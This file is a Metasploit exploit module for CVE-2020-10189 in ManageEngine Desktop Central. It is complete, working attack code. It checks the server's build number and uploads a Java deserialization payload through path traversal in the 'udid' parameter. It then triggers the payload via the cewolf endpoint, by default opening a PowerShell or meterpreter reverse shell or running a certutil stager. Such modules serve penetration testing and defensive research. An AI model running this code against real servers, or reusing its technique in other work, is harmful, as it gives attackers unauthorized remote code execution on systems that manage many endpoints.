##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = GreatRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::FileDropper
  include Msf::Exploit::JavaDeserialization

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ManageEngine Desktop Central Java Deserialization',
        'Description' => %q{
          This module exploits a Java deserialization vulnerability in the
          getChartImage() method from the FileStorage class within ManageEngine
          Desktop Central versions < 10.0.474. Tested against 10.0.465 x64.

          Quoting the vendor's advisory on fixed versions:

          "The short-term fix for the arbitrary file upload vulnerability was
          released in build 10.0.474 on January 20, 2020. In continuation of
          that, the complete fix for the remote code execution vulnerability is
          now available in build 10.0.479."
        },
        'Author' => [
          'mr_me', # Discovery and exploit
          'wvu' # Module
        ],
        'References' => [
          ['CVE', '2020-10189'],
          ['URL', 'https://srcincite.io/advisories/src-2020-0011/'],
          ['URL', 'https://srcincite.io/pocs/src-2020-0011.py.txt'],
          ['URL', 'https://twitter.com/steventseeley/status/1235635108498948096'],
          ['URL', 'https://www.manageengine.com/products/desktop-central/remote-code-execution-vulnerability.html']
        ],
        'DisclosureDate' => '2020-03-05', # 0day release
        'License' => MSF_LICENSE,
        'Platform' => 'win',
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => true,
        'Targets' => [
          [
            'Windows Command',
            {
              'Arch' => ARCH_CMD,
              'Type' => :win_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
              }
            }
          ],
          [
            'Windows Dropper',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :win_dropper,
              'CmdStagerFlavor' => :certutil, # This works without issue
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'PowerShell Stager',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :psh_stager,
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 2,
        'DefaultOptions' => {
          'SSL' => true,
          'WfsDelay' => 60 # It can take a little while to trigger
        },
        'Notes' => {
          'Stability' => [SERVICE_RESOURCE_LOSS], # May 404 the upload page?
          'Reliability' => [FIRST_ATTEMPT_FAIL], # Payload upload may fail
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      Opt::RPORT(8383),
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'configurations.do')
    )

    unless res
      return CheckCode::Unknown('Target did not respond to check.')
    end

    unless res.code == 200 && res.body.include?('ManageEngine Desktop Central')
      return CheckCode::Unknown('Target is not running Desktop Central.')
    end

    build = res.get_html_document.at('//input[@id = "buildNum"]/@value')&.text

    unless build&.match(/\d+/)
      return CheckCode::Detected(
        'Target did not respond with Desktop Central build.'
      )
    end

    # Desktop Central build 100474 is equivalent to version 10.0.474
    if build.to_i < 100474
      return CheckCode::Appears(
        "Desktop Central #{build} is a vulnerable build."
      )
    end

    CheckCode::Safe("Desktop Central #{build} is NOT a vulnerable build.")
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

    case target['Type']
    when :win_cmd
      execute_command(payload.encoded)
    when :win_dropper
      execute_cmdstager
    when :psh_stager
      execute_command(cmd_psh_payload(
        payload.encoded,
        payload.arch.first,
        remove_comspec: true
      ))
    end
  end

  def execute_command(cmd, _opts = {})
    vprint_status("Executing command: #{cmd}")

    # I identified mr_me's binary blob as the CommonsBeanutils1 payload :)
    java_payload = generate_java_deserialization_for_command(
      'CommonsBeanutils1',
      'cmd',
      cmd
    )

    # XXX: Patch in expected serialVersionUID
    java_payload[140, 8] = "\xcf\x8e\x01\x82\xfe\x4e\xf1\x7e"

    # Rock 'n' roll!
    upload_serialized_payload(java_payload)
    deserialize_payload
  end

  def upload_serialized_payload(serialized_payload)
    print_status('Uploading serialized payload')

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/mdm/client/v1/mdmLogUploader'),
      'ctype' => 'application/octet-stream',
      'vars_get' => {
        # Traversal from C:\Program Files\DesktopCentral_Server\mdm-logs\foo\bar
        'udid' => '\\..\\..\\..\\webapps\\DesktopCentral\\_chart',
        'filename' => 'logger.zip'
      },
      'data' => serialized_payload
    )

    unless res && res.code == 200
      fail_with(Failure::UnexpectedReply, 'Could not upload serialized payload')
    end

    print_good('Successfully uploaded serialized payload')

    # Shell lands in C:\Program Files\DesktopCentral_Server\bin
    register_file_for_cleanup('..\\webapps\\DesktopCentral\\_chart\\logger.zip')
  end

  def deserialize_payload
    print_status('Deserializing payload')

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'cewolf'),
      'vars_get' => {
        'img' => '\\logger.zip'
      }
    )

    unless res && res.code == 200
      fail_with(Failure::UnexpectedReply, 'Could not deserialize payload')
    end

    print_good('Successfully deserialized payload')
  end

end
